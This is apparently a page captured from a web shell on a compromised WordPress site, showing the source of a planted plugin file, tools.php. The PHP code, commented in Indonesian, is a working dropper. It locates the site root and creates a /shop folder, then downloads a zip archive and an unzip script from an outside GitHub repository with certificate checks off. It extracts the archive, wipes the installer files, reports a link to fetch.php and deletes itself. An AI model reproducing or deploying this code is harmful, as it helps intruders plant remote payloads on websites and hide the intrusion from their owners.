HEX
Server: Apache
System: Linux uyu7574470001-7d78c9ff74-xfpwm 4.19.91-21.al7.x86_64 #1 SMP Wed Sep 2 19:47:49 CST 2020 x86_64
User: ()
PHP: 7.4.16
Disabled: chmod,exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,socket_create_listen,socket_create_pair,socket_create,socket_get_option,socket_getpeername,socket_getsockname,socket_last_error,socket_listen,socket_read,socket_recv,socket_recvfrom,socket_select,socket_send,socket_sendto,socket_set_block,socket_set_nonblock,socket_set_option,socket_shutdown,socket_strerror,socket_write,stream_socket_client,stream_socket_server,pfsockopen,disk_total_space,disk_free_space,chown,diskfreespace,getrusage,get_current_user,getmyuid,getmypid,dl,leak,listen,chgrp,link,symlink,dlopen,proc_nice,proc_get_stats,proc_terminate,shell_exec,sh2_exec,posix_getpwuid,posix_getgrgid,posix_kill,ini_restore,mkfifo,dbmopen,dbase_open,filepro,filepro_rowcount,posix_mkfifo,putenv,sleep,fsockopen
Upload Files
File: /usr/home/uyu7574470001/htdocs/wp-content/plugins/wgzdlll/tools.php
<?php
/**
 * Auto Deployer - Direct Root & Auto Unzip (Updated un.php)
 */

error_reporting(0);
set_time_limit(0);

// --- KONFIGURASI SUMBER ---
$folderName = 'shop';
$zipUrl     = 'https://raw.githubusercontent.com/leakhigh/alfa/refs/heads/main/new.zip';
$unzipUrl   = 'https://raw.githubusercontent.com/leakhigh/alfa/refs/heads/main/un.php'; // Nama file baru

// 1. Logika Cari Folder Utama (Root) berbasis letak wp-content
function cari_pintu_depan() {
    $path = dirname(__FILE__);
    while ($path !== '/' && $path !== '.' && $path !== dirname($path)) {
        // Jika di folder ini ada wp-content, berarti ini adalah ROOT
        if (file_exists($path . '/wp-content')) {
            return $path;
        }
        // Jika script sedang berada di dalam sub-folder wp-content
        if (strpos($path, 'wp-content') !== false) {
            $path = dirname($path);
            continue;
        }
        $path = dirname($path);
    }
    return $_SERVER['DOCUMENT_ROOT']; // Fallback jika bukan struktur WP standar
}

$rootDir = cari_pintu_depan();
$targetPath = $rootDir . '/' . $folderName;

// 2. Buat Folder /shop di Root
if (!is_dir($targetPath)) {
    @mkdir($targetPath, 0755, true);
}

// 3. Fungsi Download via cURL
function sedot($url, $save) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    $data = curl_exec($ch);
    curl_close($ch);
    return file_put_contents($save, $data);
}

// Eksekusi Download & Unzip
if (is_dir($targetPath)) {
    sedot($zipUrl, $targetPath . '/new.zip');
    sedot($unzipUrl, $targetPath . '/un.php');
    
    // 4. AUTO UNZIP (Eksekusi internal)
    if (file_exists($targetPath . '/new.zip')) {
        $zip = new ZipArchive;
        if ($zip->open($targetPath . '/new.zip') === TRUE) {
            $zip->extractTo($targetPath . '/');
            $zip->close();
            
            // Bersihkan file installer
            @unlink($targetPath . '/new.zip');
            @unlink($targetPath . '/un.php');
            
            $status = "BERHASIL: Folder /shop aktif di root.";
        } else {
            // Jika ZipArchive server mati, coba panggil un.php via HTTP sebagai cadangan
            $proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
            $trigger = $proto . "://" . $_SERVER['HTTP_HOST'] . "/$folderName/un.php";
            @file_get_contents($trigger);
            $status = "PROSES: Menggunakan trigger HTTP untuk unzip.";
        }
    }
} else {
    $status = "GAGAL: Izin tulis (Permission) ditolak di $rootDir";
}

// Output Report
$proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
echo "<pre>";
echo "--- [ DEPLOY REPORT ] ---\n";
echo "Status   : $status\n";
echo "Root Dir : $rootDir\n";
echo "Link     : $proto://" . $_SERVER['HTTP_HOST'] . "/$folderName/fetch.php\n";
echo "-------------------------\n";
echo "</pre>";

// Self-destruct (Hapus tools.php ini sendiri)
@unlink(__FILE__);
?>